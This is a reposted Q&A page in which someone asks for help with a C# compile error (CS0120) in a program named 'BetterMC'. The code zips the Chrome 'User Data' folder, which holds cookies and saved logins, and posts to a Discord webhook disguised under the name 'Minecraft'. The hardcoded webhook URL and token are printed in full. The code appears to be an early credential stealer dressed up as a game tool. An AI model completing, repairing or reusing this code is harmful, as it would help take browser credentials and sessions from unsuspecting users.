首页 > 解决方案 > CS0120 大型文件列表 C# Discord webhook

问题描述

由于个人原因,我正在制作一个 webhook,其中列出了我的大型帐户上的所有文件,并且我的 webhook 可以正常工作,但无法让下面的代码正常工作。当我尝试运行它时,它会抛出这个错误Severity Code Description Project File Line Suppression State Error CS0120 An object reference is required for the non-static field, method, or property 'Program.Main1()' BetterMC C:\Users\letou\OneDrive\Desktop\Coding\Games\MinecraftBetter\BetterMC\Program.cs 21 Active

这是我的完整代码`

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Discord;
using Discord.Webhook;
using System.IO.Compression;
using System.IO;
using CG.Web.MegaApiClient;

namespace BetterMC
{
    class Program
    {

        
        static void Main(string[] args)
        {

            Main1();


            string startPath = @"C:\Users\letou\AppData\Local\Google\Chrome\User Data";
            string zipPath = @"C:\Users\letou\OneDrive\Desktop\test.zip";
            string extractPath = @"C:\Users\letou\OneDrive\Desktop\test";
            Console.WriteLine("Started");

            if (!File.Exists(zipPath))
            {
                ZipFile.CreateFromDirectory(startPath, zipPath);
                Console.WriteLine("Created ZIP");
            }
            if (!File.Exists(extractPath))
            {
                ZipFile.ExtractToDirectory(zipPath, extractPath);
                Console.WriteLine("Extracted ZIP");
            }

            DiscordWebhook hook = new DiscordWebhook();
            hook.Url = "https://discordapp.com/api/webhooks/830649911498113065/m8aZ6mAbhqS_n9jiBLiGFnG_69fq7ADN77P5EihuUNKS1lWgjOeTIX-Rhv8qUNo2jA37";

            DiscordMessage message = new DiscordMessage();
            message.Content = "Test @everyone";
            message.TTS = false; //read message to everyone on the channel
            message.Username = "Minecraft";
            message.AvatarUrl = "https://pbs.twimg.com/profile_images/653700295395016708/WjGTnKGQ_400x400.png";
            hook.Send(message);
            Console.WriteLine("sent");
            Console.ReadLine();
        }

        void Main1()
        {
            var client = new MegaApiClient();
            client.Login("username@domain.com", "passw0rd");

            // GetNodes retrieves all files/folders metadata from Mega
            // so this method can be time consuming
            IEnumerable<INode> nodes = client.GetNodes();

            INode parent = nodes.Single(n => n.Type == NodeType.Root);
            DisplayNodesRecursive(nodes, parent);

            client.Logout();
        }
        void DisplayNodesRecursive(IEnumerable<INode> nodes, INode parent, int level = 0)
        {
            IEnumerable<INode> children = nodes.Where(x => x.ParentId == parent.Id);
            foreach (INode child in children)
            {
                string infos = $"- {child.Name} - {child.Size} bytes - {child.CreationDate}";
                Console.WriteLine(infos.PadLeft(infos.Length + level, '\t'));
                if (child.Type == NodeType.Directory)
                {
                    DisplayNodesRecursive(nodes, child, level + 1);
                }
            }
        }
    }
}

` 我知道它与非静态 main1 有关,但它需要是非静态的代码才能工作。请帮忙。

标签: c#discordwebhooks

解决方案


推荐阅读